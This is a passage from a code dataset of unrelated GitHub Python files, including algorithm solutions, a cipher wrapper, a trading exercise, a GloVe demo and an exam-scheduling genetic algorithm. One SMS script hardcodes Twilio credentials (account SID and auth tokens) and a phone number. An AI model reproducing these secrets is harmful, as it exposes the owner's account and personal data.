print(\"s=\", s)\n print(\"结果:\", s == rawStr)\n print(\"---------------------\")\n\n rawStr = \"1,2,3,null,null,4,5,6\"\n print(\"rawStr=\", rawStr)\n coded = Codec()\n root = coded.deserialize(rawStr)\n s = coded.serialize(root)\n print(\"s=\", s)\n print(\"结果:\", s == rawStr)\n print(\"---------------------\")\n\n rawStr = \"1,2,3,null,null,4,5,6,null,null,null,7\"\n print(\"rawStr=\", rawStr)\n coded = Codec()\n root = coded.deserialize(rawStr)\n s = coded.serialize(root)\n print(\"s=\", s)\n print(\"结果:\", s == rawStr)\n print(\"---------------------\")\n\n rawStr = \"-1,0,1\"\n print(\"rawStr=\", rawStr)\n coded = Codec()\n root = coded.deserialize(rawStr)\n s = coded.serialize(root)\n print(\"s=\", s)\n print(\"结果:\", s == rawStr)\n print(\"---------------------\")\n\n print(\"===========思路2=============\")\n\n rawStr = \"1,2,null,null,3,4,null,null,5,null,null\"\n print(\"rawStr=\", rawStr)\n coded = Codec()\n root = coded.deserialize_2(rawStr)\n s = coded.serialize_2(root)\n print(\"s=\", s)\n print(\"结果:\", s == rawStr)\n print(\"---------------------\")\n\n rawStr = \"1,2,null,null,3,4,6,null,null,null,5,null,null\"\n print(\"rawStr=\", rawStr)\n coded = Codec()\n root = coded.deserialize_2(rawStr)\n s = coded.serialize_2(root)\n print(\"s=\", s)\n print(\"结果:\", s == rawStr)\n print(\"---------------------\")\n\n rawStr = \"-1,0,1,null,null,null,null\"\n print(\"rawStr=\", rawStr)\n coded = Codec()\n root = coded.deserialize_2(rawStr)\n s = coded.serialize_2(root)\n print(\"s=\", s)\n print(\"结果:\", s == rawStr)\n print(\"---------------------\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"liuyanhui/leetcode-py","sub_path":"leetcode/297_serialize_and_deserialize_binary_tree/serialize_and_deserialize_binary_tree.py","file_name":"serialize_and_deserialize_binary_tree.py","file_ext":"py","file_size_in_byte":7492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"6138896722","text":"import math\nwhile True:\n try: l1, l2 = map(int, input().split())\n except: break\n \n mdc = math.gcd(l1, l2) #Máximo divisor comum\n l1 = l1 // mdc\n l2 = l2 // mdc\n \n print(2 * (l1 + l2))","repo_name":"henrique2020/URI","sub_path":"Python/1630.py","file_name":"1630.py","file_ext":"py","file_size_in_byte":213,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"71"} +{"seq_id":"10157417688","text":"import csv\nimport numpy as np\n\nin_file = '/Users/oniichan/Downloads/SUEE1.csv.csv'\nout_file = open('/Users/oniichan/Downloads/SUEE1_reformatted.csv.csv', 'w')\nunlinked = []\n\nwith open(in_file) as f: # for now convert to index list by hand\n unlinked=[tuple(line) for line in csv.reader(f)]\nfields = list(unlinked[:1][0])\nunlinked=unlinked[1:] # skip the labels\n\nunzipped = list(zip(*unlinked))\nips = [list(map(int, list(unzipped[0]))), list(map(int, list(unzipped[1])))] # seems i could do this better\n\nn_nodes = np.max(ips) + 1 # not as fun, but more efficienct\n\nout_file.write(fields[0] + ',' + 'conn' + ',' + fields[1] + ',' + fields[2] + ',' + fields[3] + ',' + fields[4] + '\\n')\nfor i, (src, dst, port, isMal, cnt) in enumerate(unlinked): # sure\n out_file.write(src + ',' + str(n_nodes+i) + ',' + dst + ',' + port + ',' + isMal + ',' + cnt + '\\n')\n\nprint('job done :P')","repo_name":"JoeyShapiro/Network-GNN","sub_path":"reformatter.py","file_name":"reformatter.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"16590781335","text":"from speck import SpeckCipher\nfrom uuid import getnode\n\n\nclass Cipher:\n def __init__(self, key=0):\n if key:\n self.key = key\n else:\n self.key = getnode()\n\n def chunks(self, l, n):\n n = max(1, n)\n return (l[i:i+n] for i in range(0, len(l), n))\n\n def encode(self, string: str) -> int:\n num = 0\n for ch in str(string):\n num = num * 100\n num += (ord(ch) - 23)\n return num\n\n\n def decode(self, num: int) -> str:\n res = \"\"\n num = int(num)\n while num > 0:\n lastDigit = num % 100\n res += chr(lastDigit+23)\n num = num // 100\n return res[::-1]\n\n\n def encrypt(self, plaintext):\n out = []\n number_str = str(self.encode(str(plaintext)))\n chunked_number_str = self.chunks(number_str, 19)\n for nstr in chunked_number_str:\n encrypted_str = SpeckCipher(self.key).encrypt(int(nstr))\n out.append(encrypted_str)\n\n return \".\".join([str(x) for x in out])\n\n\n def decrypt(self, ciphertext):\n out = \"\"\n for n in ciphertext.split(\".\"):\n out += str(SpeckCipher(self.key).decrypt(int(n)))\n return self.decode(int(out))","repo_name":"gyani-kto-mah/duifa","sub_path":"core/crypt.py","file_name":"crypt.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"71"} +{"seq_id":"37558416739","text":"class Solution:\n def nextGreaterElement(self, nums1: List[int], nums2: List[int]) -> List[int]:\n stack = []\n d = {}\n for i in nums2:\n while stack and stack[-1] < i:\n d[stack.pop()] = i\n stack.append(i)\n res = []\n for i in nums1:\n res.append(d.get(i, -1))\n return res","repo_name":"YaxeZhang/Just-Code","sub_path":"src/0496.next-greater-element-i/next-greater-element-i.py","file_name":"next-greater-element-i.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","stars":779,"dataset":"github-code","pt":"71"} +{"seq_id":"15702155978","text":"#!/usr/bin/env python3\n\nimport sys\nfrom twilio.rest import Client \n \n# Your Account Sid and Auth Token from twilio.com / console \nprint(\"@@@@@@@@@Send sms\",sys.argv[1],\"to \",sys.argv[2])\n\naccount_sid = 'AC2d26f36edf92cb63af054fce24390892'\n# auth_token = '405def9013bc2fac351053244d0dfbda'\nauth_token = '9315e8468a9fcc021c43cf98f7b586b2'\n\n \nclient = Client(account_sid, auth_token) \n \n''' Change the value of 'from' with the number \nreceived from Twilio and the value of 'to' \nwith the number in which you want to send message.'''\narg1=sys.argv[1]\narg2=sys.argv[2]\nbody2=\"alert recieved\"+sys.argv[2]\nprint(body2)\nmessage = client.messages.create( \n from_='+19852314195', \n body =body2, \n to ='+918839455048'\n ) \n \nprint(message.sid)","repo_name":"ShubhamAgrawal-13/Distributed_IOT_Platform","sub_path":"platform/Action_Manager/sendsms.py","file_name":"sendsms.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"2176370518","text":"# n x m 금광이 있다.\n# 첫번째열 어느 행부터 출발할 수 있고\n# 이후 m -1 번만 큼 오른쪽, 오른쪽 위, 오른쪽 아래 중 1곳으로 움직일 수 있다.\n# 얻을 수 있는 최대 금 크기\n# ex)\n# 1\n# 3 4\n# 1 3 3 2 2 1 4 1 0 6 4 7\n# 출력 19\n\n# 내 코드\nT = int(input())\n\nfor i in range(T):\n n, m = list(map(int,input().split()))\n data = []\n data2 = list(map(int,input().split()))\n for j in range(n):\n data3 = []\n for k in range(m):\n data3.append(data2[j * m + k])\n data.append(data3)\n\n print(data)\n\n for j in range(1, m):\n for k in range(n):\n if k == 0:\n data[k][j] = max(data[k][j-1], data[k+1][j-1]) + data[k][j]\n continue\n\n if k == n-1 :\n data[k][j] = max(data[k][j-1], data[k-1][j-1]) + data[k][j]\n continue\n data[k][j] = max(data[k-1][j-1], data[k][j-1], data[k+1][j-1]) + data[k][j]\n print(data)\n\n result = 0\n for j in range(n):\n result = max(data[j][m - 1], result)\n\n print(result)\n\n# 나동빈님 코드\n# 점화식\n# dp[i][j] = array[i][j] + max(dp[i-1][j-1], dp[i][j-1], dp[i+1][j-1])\nfor tc in range(int(input())):\n n, m = map(int, input().split())\n array = list(map(int, input().split()))\n dp = []\n index = 0\n for i in range(n):\n dp.append(array[index:index+m])\n index += m\n\n for j in range(1,m):\n for i in range(n):\n if i == 0: left_up = 0\n else: left_up = dp[i - 1][j - 1]\n if i == n - 1: left_down = 0\n else: left_down = dp[i + 1][j - 1]\n left = dp[i][j-1]\n dp[i][j] = dp[i][j] + max(left_up, left_down, left)\n result = 0\n for i in range(n):\n result = max(result, dp[i][m-1])\n print(result)","repo_name":"hongdor/problem-solving-study","sub_path":"category/dynamicprogramming/유형문제4.py","file_name":"유형문제4.py","file_ext":"py","file_size_in_byte":1836,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"29089777478","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\nfrom collections import deque\n\n\n#\n# Complete the 'TradingStrategy' class below.\n#\n#\n# Python program to get average of a list\ndef average(lst):\n return sum(lst) / len(lst)\nclass TradingStrategy:\n def __init__(self):\n self.small_window=deque(maxlen=50)\n self.large_window=deque(maxlen=100)\n self.long_signal=False\n self.position=0\n self.cash=10000\n self.total=0\n self.holdings=0\n\n def onPriceUpdate(self,price_update):\n self.small_window.append(price_update['close'])\n self.large_window.append(price_update['close'])\n if len(self.small_window) == 50:\n if sum(self.small_window)/len(self.small_window) > sum(self.large_window)/len(self.large_window):\n self.long_signal = True\n \n else:\n self.long_signal = False\n self.checkSignal(price_update)\n else:\n pass\n # you should store 50 close prices for the small window\n # you should store 100 close prices for the large window\n # when the number of close prices is higher than 50, you need to discard the older one (small window)\n # when the number of close prices is higher than 100, you need to discard the older one (large window)\n # you compare the small window vs the large window\n # if small window > large window generate long signal\n\n\n\n def checkSignal(self,price_update):\n if self.long_signal:\n if self.position == 0:\n self.position += 10\n self.cash -= self.position * price_update['adjprice']\n self.holdings = self.position * price_update['adjprice']\n self.total = self.cash + self.holdings\n print(price_update['date'] + \" send buy order for 10 shares price=\" + str(price_update['adjprice']))\n else:\n self.holdings = self.position * price_update['adjprice']\n self.total = self.cash + self.holdings\n \n else:\n if self.position > 0:\n self.cash += self.position * price_update['adjprice']\n self.position -= 10\n self.holdings = self.position * price_update['adjprice']\n self.total = self.cash + self.holdings\n print(price_update['date'] + \" send sell order for 10 shares price=\" + str(price_update['adjprice']))\n else:\n self.holdings = self.position * price_update['adjprice']\n self.total = self.cash + self.holdings\n \n # if there is a long signal and the position is 0 \n # you should send an order\n # for that you will use print, you will display the timestamp and write that you send a buy order\n # example:\n # print(price_update['date'] +\n # \" send buy order for 10 shares price=\" + str(price_update['adjprice']))\n # You need to update the position\n # You need to update the cash\n \n # Now if the position is positive and there is no long signal any more\n # You need to send a sell order\n # print(price_update['date']+\n # \" send sell order for 10 shares price=\" + str(price_update['adjprice']))\n # You need to update the position\n # You need to update the cash\n \n # For each iteration, you need to manage holdings\n # For each iteration, you need to know how much in total you have (total=holdings + cash)\n # You need to display the following for each iteration\n print('%s total=%d, holding=%d, cash=%d' %\n (price_update['date'],self.total, self.holdings, self.cash))\n\n\n\n#%%\nif __name__ == '__main__':\n data = open('/Users/meredithma/Downloads/input000.txt')\n da = data.readlines()\n da = da[2:]\n ts=TradingStrategy()\n nb_of_rows = 1200 #4276 rows\n\n for _ in range(nb_of_rows):\n row = da[_].strip().split(',')\n ts.onPriceUpdate({'date' : row[0],\n 'close' : float(row[4]),\n 'adjprice' : float(row[6])})\n\n\n","repo_name":"Jiekai77/MSCA_RT","sub_path":"week5/5.3.py","file_name":"5.3.py","file_ext":"py","file_size_in_byte":4207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"13460143107","text":"#GloVe는 카운트 기반과 예측 기반을 모두 사용하는 단어 임베딩 방법론이다.\n\nimport nltk\nnltk.download('punkt')\n\nimport urllib.request\nimport zipfile\nfrom lxml import etree\nimport re\nfrom nltk.tokenize import word_tokenize, sent_tokenize\n\nurllib.request.urlretrieve(\"https://raw.githubusercontent.com/GaoleMeng/RNN-and-FFNN-textClassification/master/ted_en-20160408.xml\", filename=\"ted_en-20160408.xml\")\ntargetXML=open('ted_en-20160408.xml', 'r', encoding='UTF8')\ntarget_text = etree.parse(targetXML)\nparse_text = '\\n'.join(target_text.xpath('//content/text()'))\ncontent_text = re.sub(r'\\([^)]*\\)', '', parse_text)\nsent_text = sent_tokenize(content_text)\n \nnormalized_text =[]\nfor string in sent_text:\n tokens = re.sub(r\"[^a-z0-9]+\", \" \",string.lower())\n normalized_text.append(tokens)\n\nresult = [word_tokenize(sentence) for sentence in normalized_text]\n\nfrom glove import Corpus, Glove\n\ncorpus = Corpus()\ncorpus.fit(result,window=5)\n#훈련 데이터로부터 GloVe에서 사용할 동시 등장 행렬 생성\n\nglove = Glove(no_components=100, learning_rate=0.05)\nglove.fit(corpus.matrix, epochs=20, no_threads=4, verbose=True)\nglove.add_dictionary(corpus.dictionary)\n#학습에 이용할 쓰레드의 개수는 4, 에포크는 20\n\nmodel_result1 = glove.most_similar('man')\nprint(model_result1)\nmodel_result2 = glove.most_similar('boy')\nprint(model_result2)","repo_name":"hwc9169/TIL-ML-","sub_path":"11Day/GloVe.py","file_name":"GloVe.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"1650499822","text":"import json\r\nfrom difflib import get_close_matches\r\nd=json.load(open(\"C:/Users/dipak/Desktop/Dictionary/dictionary.json\"))\r\ndef translate(w):\r\n w=w.lower()\r\n if w in d:\r\n return d[w]\r\n elif len(get_close_matches(w,d.keys()))>0:\r\n yn=input(\"Did you mean %s instead? Enter yes or no \"%get_close_matches(w,d.keys())[0])\r\n yn=yn.lower()\r\n if yn==\"yes\":\r\n return d[get_close_matches(w,d.keys())[0]]\r\n elif yn==\"no\":\r\n return \"The word does not exist\"\r\n else:\r\n return \"we didnt understand\"\r\n else:\r\n return \"Please double check the word\"\r\nword=input(\"Enter the word\")\r\noutput=translate(word)\r\nif type(output)==list:\r\n for i in output:\r\n print(i)\r\nelse:\r\n print(output)\r\ninput(\"Press enter to exit\")","repo_name":"SohamGhosh123/Dictionary","sub_path":"Untitled-1.py","file_name":"Untitled-1.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"35245928736","text":"# localizer.py\n# by Bo-Xiao Zheng\n# Edmiston-Ruedenberg localization through Jacobi rotations\n# following the algorithm by Raffenetti et al.\n# Theor Chim Acta 86, 149 (1992)\nimport numpy as np\nimport numpy.linalg as la\nimport libdmet.utils.logger as log\nfrom math import cos, sin, atan, pi\nfrom copy import deepcopy\nimport itertools as it\n\nclass Localizer(object):\n \n def __init__(self, Int2e): # Int2e[i,j,k,l] = (ij||kl)\n self.norbs = Int2e.shape[0]\n self.Int2e = deepcopy(Int2e)\n self.coefs = np.eye(self.norbs)\n\n def transformInt(self, i, j, theta):\n # transform 2e integrals wrt Jacobi rotation J_ii = J_jj = cos\\theta, J_ij = sin\\theta, J_ij = -sin\\theta\n # restrict to i < j\n # The scaling of this transformation is O(n^3)\n log.eassert(i != j, \"rotation meaningless with i=j\")\n # this works even for general cases where Int2e does not have symmetry\n delta = np.asarray([[cos(theta)-1, sin(theta)],[-sin(theta), cos(theta)-1]])\n # four index part O(1)\n g4 = self.Int2e[np.ix_([i,j],[i,j],[i,j],[i,j])]\n g4 = np.einsum(\"pi,qj,rk,sl,ijkl->pqrs\", delta, delta, delta, delta, g4)\n # three index part O(n)\n g3_1 = self.Int2e[np.ix_(range(self.norbs), [i,j], [i,j], [i,j])]\n g3_1 = np.einsum(\"qj,rk,sl,pjkl->pqrs\", delta, delta, delta, g3_1)\n g3_2 = self.Int2e[np.ix_([i,j], range(self.norbs), [i,j], [i,j])]\n g3_2 = np.einsum(\"pi,rk,sl,iqkl->pqrs\", delta, delta, delta, g3_2)\n g3_3 = self.Int2e[np.ix_([i,j], [i,j], range(self.norbs), [i,j])]\n g3_3 = np.einsum(\"pi,qj,sl,ijrl->pqrs\", delta, delta, delta, g3_3)\n g3_4 = self.Int2e[np.ix_([i,j], [i,j], [i,j], range(self.norbs))]\n g3_4 = np.einsum(\"pi,qj,rk,ijks->pqrs\", delta, delta, delta, g3_4)\n # two index part O(n^2)\n g2_12 = self.Int2e[np.ix_(range(self.norbs), range(self.norbs), [i,j], [i,j])]\n g2_12 = np.einsum(\"rk,sl,pqkl->pqrs\", delta, delta, g2_12)\n g2_13 = self.Int2e[np.ix_(range(self.norbs), [i,j], range(self.norbs), [i,j])]\n g2_13 = np.einsum(\"qj,sl,pjrl->pqrs\", delta, delta, g2_13)\n g2_14 = self.Int2e[np.ix_(range(self.norbs), [i,j], [i,j], range(self.norbs))]\n g2_14 = np.einsum(\"qj,rk,pjks->pqrs\", delta, delta, g2_14)\n g2_23 = self.Int2e[np.ix_([i,j], range(self.norbs), range(self.norbs), [i,j])]\n g2_23 = np.einsum(\"pi,sl,iqrl->pqrs\", delta, delta, g2_23)\n g2_24 = self.Int2e[np.ix_([i,j], range(self.norbs), [i,j], range(self.norbs))]\n g2_24 = np.einsum(\"pi,rk,iqks->pqrs\", delta, delta, g2_24)\n g2_34 = self.Int2e[np.ix_([i,j], [i,j], range(self.norbs), range(self.norbs))]\n g2_34 = np.einsum(\"pi,qj,ijrs->pqrs\", delta, delta, g2_34)\n # one index part O(n^3)\n g1_1 = self.Int2e[[i,j], :, :, :]\n g1_1 = np.einsum(\"pi,iqrs->pqrs\", delta, g1_1)\n g1_2 = self.Int2e[:, [i,j], :, :]\n g1_2 = np.einsum(\"qj,pjrs->pqrs\", delta, g1_2)\n g1_3 = self.Int2e[:, :, [i,j], :]\n g1_3 = np.einsum(\"rk,pqks->pqrs\", delta, g1_3)\n g1_4 = self.Int2e[:, :, :, [i,j]]\n g1_4 = np.einsum(\"sl,pqrl->pqrs\", delta, g1_4)\n # sum over all rotations\n self.Int2e[np.ix_([i,j],[i,j],[i,j],[i,j])] += g4\n self.Int2e[np.ix_(range(self.norbs), [i,j], [i,j], [i,j])] += g3_1\n self.Int2e[np.ix_([i,j], range(self.norbs), [i,j], [i,j])] += g3_2\n self.Int2e[np.ix_([i,j], [i,j], range(self.norbs), [i,j])] += g3_3\n self.Int2e[np.ix_([i,j], [i,j], [i,j], range(self.norbs))] += g3_4\n self.Int2e[np.ix_(range(self.norbs), range(self.norbs), [i,j], [i,j])] += g2_12\n self.Int2e[np.ix_(range(self.norbs), [i,j], range(self.norbs), [i,j])] += g2_13\n self.Int2e[np.ix_(range(self.norbs), [i,j], [i,j], range(self.norbs))] += g2_14\n self.Int2e[np.ix_([i,j], range(self.norbs), range(self.norbs), [i,j])] += g2_23\n self.Int2e[np.ix_([i,j], range(self.norbs), [i,j], range(self.norbs))] += g2_24\n self.Int2e[np.ix_([i,j], [i,j], range(self.norbs), range(self.norbs))] += g2_34\n self.Int2e[[i,j], :, :, :] += g1_1\n self.Int2e[:, [i,j], :, :] += g1_2\n self.Int2e[:, :, [i,j], :] += g1_3\n self.Int2e[:, :, :, [i,j]] += g1_4\n\n def transformCoef(self, i, j, theta):\n U = np.eye(self.norbs)\n U[i,i] = U[j,j] = cos(theta)\n U[i,j] = sin(theta)\n U[j,i] = -sin(theta)\n self.coefs = np.dot(U, self.coefs)\n\n def predictor(self, i, j):\n # for the rotation between orbitals i,j\n # we restrict theta in -pi/4, +pi/4\n # compute (i'i'||i'i')+(j'j'||j'j')-(ii||ii)-(jj||jj)\n # i'=i*cos\\theta+j*sin\\theta\n # j'=j*cos\\theta-i*sin\\theta\n # (i'i'||i'i')+(j'j'||j'j') = [(ii||ii)+(jj||jj)][3/4+1/4*cos4\\theta]\n # + [(ii||ij)+...-(ij||jj)-...]*1/4*sin4\\theta\n # + [(ii||jj)+...][1/4-1/4*cos4\\theta]\n A = self.Int2e[i,i,i,i] + self.Int2e[j,j,j,j]\n B = self.Int2e[i,i,i,j] + self.Int2e[i,i,j,i] + self.Int2e[i,j,i,i] + self.Int2e[j,i,i,i] \\\n - self.Int2e[i,j,j,j] - self.Int2e[j,i,j,j] - self.Int2e[j,j,i,j] - self.Int2e[j,j,j,i]\n C = self.Int2e[i,i,j,j] + self.Int2e[i,j,i,j] + self.Int2e[i,j,j,i] + self.Int2e[j,i,i,j] \\\n + self.Int2e[j,i,j,i] + self.Int2e[j,j,i,i]\n\n def get_dL(theta):\n return 0.25 * ((cos(4*theta)-1) * (A-C) + sin(4*theta) * B)\n \n def get_theta():\n # solve dL/dtheta = 0, take theta that corresponds to maximum\n if abs(A-C) > 1e-8:\n alpha = atan(B/(A-C))\n else:\n alpha = pi/2\n if alpha > 0:\n theta = [alpha*0.25, (alpha-pi)*0.25]\n else:\n theta = [alpha*0.25, (alpha+pi)*0.25]\n vals = map(get_dL, theta)\n if vals[0] > vals[1]:\n return theta[0], vals[0]\n else:\n return theta[1], vals[1]\n\n return get_theta()\n\n def getL(self):\n return np.sum(map(lambda i: self.Int2e[i,i,i,i], range(self.norbs)))\n\n def optimize(self, thr = 1e-3, MaxIter = 2000):\n # Edmiston-Ruedenberg: maximizing self-energy\n # L = \\sum_p (pp||pp)\n # each Jacobian step \\theta between -pi/4 to pi/4\n if self.norbs < 2:\n log.info(\"Norb = %d, too few to localize\", self.norbs)\n return\n Iter = 0\n log.info(\"Edmiston-Ruedenberg localization\")\n initL = self.getL()\n log.debug(0, \"Iter L dL (i , j) theta/pi\")\n sweep = []\n for i,j in it.combinations(range(self.norbs), 2):\n sweep.append((i, j) + self.predictor(i, j))\n sweep.sort(key = lambda x: x[3])\n i, j, theta, dL = sweep[-1]\n log.debug(0, \"%4d %12.6f %12.6f %3d %3d %10.6f\", \\\n Iter, self.getL(), dL, i, j, theta/pi)\n while dL > thr and Iter < MaxIter:\n self.transformInt(i,j,theta)\n self.transformCoef(i,j,theta)\n Iter += 1\n sweep = []\n for i,j in it.combinations(range(self.norbs), 2):\n sweep.append((i, j) + self.predictor(i, j))\n sweep.sort(key = lambda x: x[3])\n i, j, theta, dL = sweep[-1]\n log.debug(0, \"%4d %12.6f %12.6f %3d %3d %10.6f\", \\\n Iter, self.getL(), dL, i, j, theta/pi)\n log.info(\"Localization converged after %4d iterations\", Iter)\n log.info(\"Cost function: init %12.6f final %12.6f\", initL, self.getL())\n\nif __name__ == \"__main__\":\n log.verbose = \"DEBUG0\"\n np.random.seed(9)\n norbs = 10\n s = np.random.rand(norbs,norbs,norbs,norbs)\n s = s + np.swapaxes(s, 0, 1)\n s = s + np.swapaxes(s, 2, 3)\n s = s + np.transpose(s, (2, 3, 0, 1))\n loc = Localizer(s)\n loc.optimize()\n R = loc.coefs\n err = loc.Int2e - np.einsum(\"pi,qj,rk,sl,ijkl->pqrs\", R, R, R, R, s)\n log.check(np.allclose(err, 0), \"Inconsistent coefficients and integrals,\"\n \" difference is %.2e\", la.norm(err))\n","repo_name":"sunchong137/libdmet","sub_path":"routine/localizer.py","file_name":"localizer.py","file_ext":"py","file_size_in_byte":8081,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"25545436083","text":"import csv\nimport random\nfrom itertools import combinations\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\n\nfrom deap import algorithms\nfrom deap import base\nfrom deap import creator\nfrom deap import tools\n\nINF = 1e7\nNO_EXAM_PLACEHOLDER = \"no exam\"\nKPI_CONSEC_1 = \"2 consecutive exams in a week\"\nKPI_CONSEC_2 = \"3 consecutive exams in a week\"\nKPI_OVERLOAD_1 = \"more than 1 exam in a day\"\nKPI_OVERLOAD_2 = \"more than 3 exams in a week\"\nKPI_OVERLOAD_3 = \"4 exams in a week\"\nKPI_OVERLOAD_4 = \"5 exams in a week\"\nKPI_EXAM_DURA = \"duration of the exam period\"\nKPI_SET = (KPI_CONSEC_1, KPI_CONSEC_2, KPI_OVERLOAD_1, KPI_OVERLOAD_2, KPI_EXAM_DURA, KPI_OVERLOAD_3, KPI_OVERLOAD_4)\n\n\nclass GAOptimizer:\n def __init__(self):\n self.available_spatio_timeslots = None\n self.week2date_dict = None # {week:[days]}\n self.room_caps = dict()\n # processed data\n self.exam2students = None # {exam_code: set(students)}\n self.student2exams = None # {student_id: set(selected_exams)}\n self.no_conflict_exams_pairs = None # [(exam1,exam2),...]\n self.conflict_exams_pairs = None # [(exam1,exam2),...]\n # all exams are classified into three categories - bound, fixed and arranged\n self.bindings = dict() # the \"key\" exam is bound with the \"value\" exam\n self.fixed_exams = dict() # key is exam, value is date\n self.arranged_exams = list() # a sequence of exams (including placeholders) that have been arranged\n # ga_results\n self.ga_pop = None\n self.ga_log = None\n self.exam2spats = None # optimised and complete exam timetable\n\n def initialize(self, spatime_file, rooms, room_caps, fixed_exams, regis_datafile,\n id_col=\"ID\", day_col=\"day\", week_col=\"week\", slot_col=\"slot\"):\n self.fixed_exams = fixed_exams\n self.room_caps = room_caps\n\n self.process_spatio_time_data(spatime_file, rooms, day_col, week_col, slot_col)\n self.process_register_data(regis_datafile, id_col)\n self.check_conflict()\n\n def process_spatio_time_data(self, spatime_file, rooms, day_col=\"day\", week_col=\"week\", slot_col=\"slot\"):\n spatime_table = pd.read_csv(spatime_file)\n week2date_dict = {}\n available_spatio_timeslots = []\n for _, row in spatime_table.iterrows():\n day = row[day_col]\n week = row[week_col]\n for room in rooms:\n if pd.isna(row[room]):\n available_spatio_timeslots.append((day, row[slot_col], room))\n if week2date_dict.get(week) is None:\n week2date_dict[week] = []\n else:\n if day not in week2date_dict[week]:\n week2date_dict[week].append(day)\n\n self.week2date_dict = week2date_dict\n self.available_spatio_timeslots = available_spatio_timeslots\n self.ts_table = spatime_table\n\n def process_register_data(self, regis_datafile, id_column=\"ID\"):\n student_regis_table = pd.read_csv(regis_datafile, index_col=id_column)\n\n students = {}\n for student_id, row in student_regis_table.iterrows():\n selected_exams = []\n for exam_code, selected in row.items():\n if selected:\n selected_exams.append(exam_code)\n students[student_id] = set(selected_exams)\n\n exams = {}\n for exam_code, col in student_regis_table.iteritems():\n registered_students = []\n for student_id, registered in col.items():\n if registered:\n registered_students.append(student_id)\n\n # only arrange the exams for which at least one student registered\n if len(registered_students):\n exams[exam_code] = set(registered_students)\n\n self.student2exams = students\n self.exam2students = exams\n return students, exams\n\n def check_conflict(self):\n no_overlap_exams_pairs = []\n overlap_exams_pairs = []\n for i, j in combinations(self.exam2students.keys(), 2):\n if not set.intersection(self.exam2students[i], self.exam2students[j]):\n no_overlap_exams_pairs.append((i, j))\n else:\n overlap_exams_pairs.append((i, j))\n\n self.no_conflict_exams_pairs = no_overlap_exams_pairs\n self.conflict_exams_pairs = overlap_exams_pairs\n\n def generate_bindings(self):\n \"\"\" Compress the exams - put 2 non-conflicting exams on the same day\"\"\"\n bindings = {} # the \"key\" exam will follow the \"value\" exam\n free_exams = set(self.exam2students.keys()) # exams have not been bound with others\n for exam_1, exam_2 in self.no_conflict_exams_pairs:\n if exam_1 in free_exams and exam_2 in free_exams:\n if exam_1 in self.fixed_exams: # the \"key\" exam cannot be a fixed exam\n bindings[exam_2] = exam_1\n else:\n bindings[exam_1] = exam_2\n free_exams.remove(exam_1)\n free_exams.remove(exam_2)\n\n self.bindings = bindings\n return bindings\n\n def optimize(self, kpi_coef, pop_size=100, crossover_rate=0, mutation_rate=0.5, num_generation=200):\n\n free_exams = list(set(self.exam2students.keys()) - set(self.fixed_exams.keys()) - set(self.bindings.keys()))\n if len(free_exams) > len(self.available_spatio_timeslots):\n raise ValueError(\"the number of exams exceeds the number of available spaces\")\n else:\n num_no_exam = len(self.available_spatio_timeslots) - len(free_exams)\n free_exams += [NO_EXAM_PLACEHOLDER] * num_no_exam\n\n # define chromosome and individual\n creator.create(\"Fitness\", base.Fitness, weights=(1,))\n creator.create(\"Individual\", list, fitness=creator.Fitness)\n toolbox = base.Toolbox()\n toolbox.register(\"chromosome\", random.sample, free_exams, len(free_exams))\n toolbox.register(\"individual\", tools.initIterate, creator.Individual,\n toolbox.chromosome)\n toolbox.register(\"population\", tools.initRepeat, list, toolbox.individual)\n # define evaluation, mutation, crossover and selection methods\n toolbox.register(\"evaluate\", GAOptimizer.evaluate,\n fixed_exams=self.fixed_exams,\n bindings=self.bindings,\n available_spatio_timeslots=self.available_spatio_timeslots,\n student2exams=self.student2exams,\n exam2students=self.exam2students,\n week2date_dict=self.week2date_dict,\n kpi_coef=kpi_coef,\n room_caps=self.room_caps,\n conflict_exams_pairs=self.conflict_exams_pairs)\n toolbox.register(\"mate\", tools.cxPartialyMatched)\n toolbox.register(\"mutate\", tools.mutShuffleIndexes, indpb=0.1)\n toolbox.register(\"select\", tools.selTournament, tournsize=5)\n\n # create population and start evolving\n pop = toolbox.population(n=pop_size)\n hof = tools.HallOfFame(1)\n stats = tools.Statistics(key=lambda ind: ind.fitness.values)\n stats.register(\"best\", max)\n pop, log = algorithms.eaSimple(pop, toolbox, cxpb=crossover_rate, mutpb=mutation_rate, ngen=num_generation,\n stats=stats, halloffame=hof,\n verbose=True)\n self.ga_pop = pop\n self.ga_log = log\n self.arranged_exams = hof[0]\n\n exam2spats = self.gen_full_table(self.available_spatio_timeslots,\n self.arranged_exams,\n self.fixed_exams,\n self.bindings)\n\n self.exam2spats = exam2spats\n return exam2spats\n\n def get_kpis(self):\n return self.calculate_kpis(self.exam2spats, self.student2exams, self.week2date_dict)\n\n def get_feasibility(self):\n feasible = True\n cap_feasible = True\n time_feasible = True\n # check feasibility - capacity\n for exam, spats in self.exam2spats.items():\n if exam not in self.fixed_exams:\n stu_n = len(self.exam2students[exam])\n cap = room_caps[spats[2]]\n if stu_n > cap:\n feasible = False\n cap_feasible = False\n print(\n f\"exam {exam} is arrange to {spats} but capacity is not enough. student: {stu_n} while capacity: {cap}\")\n\n # check feasibility - conflict exams\n for e1, 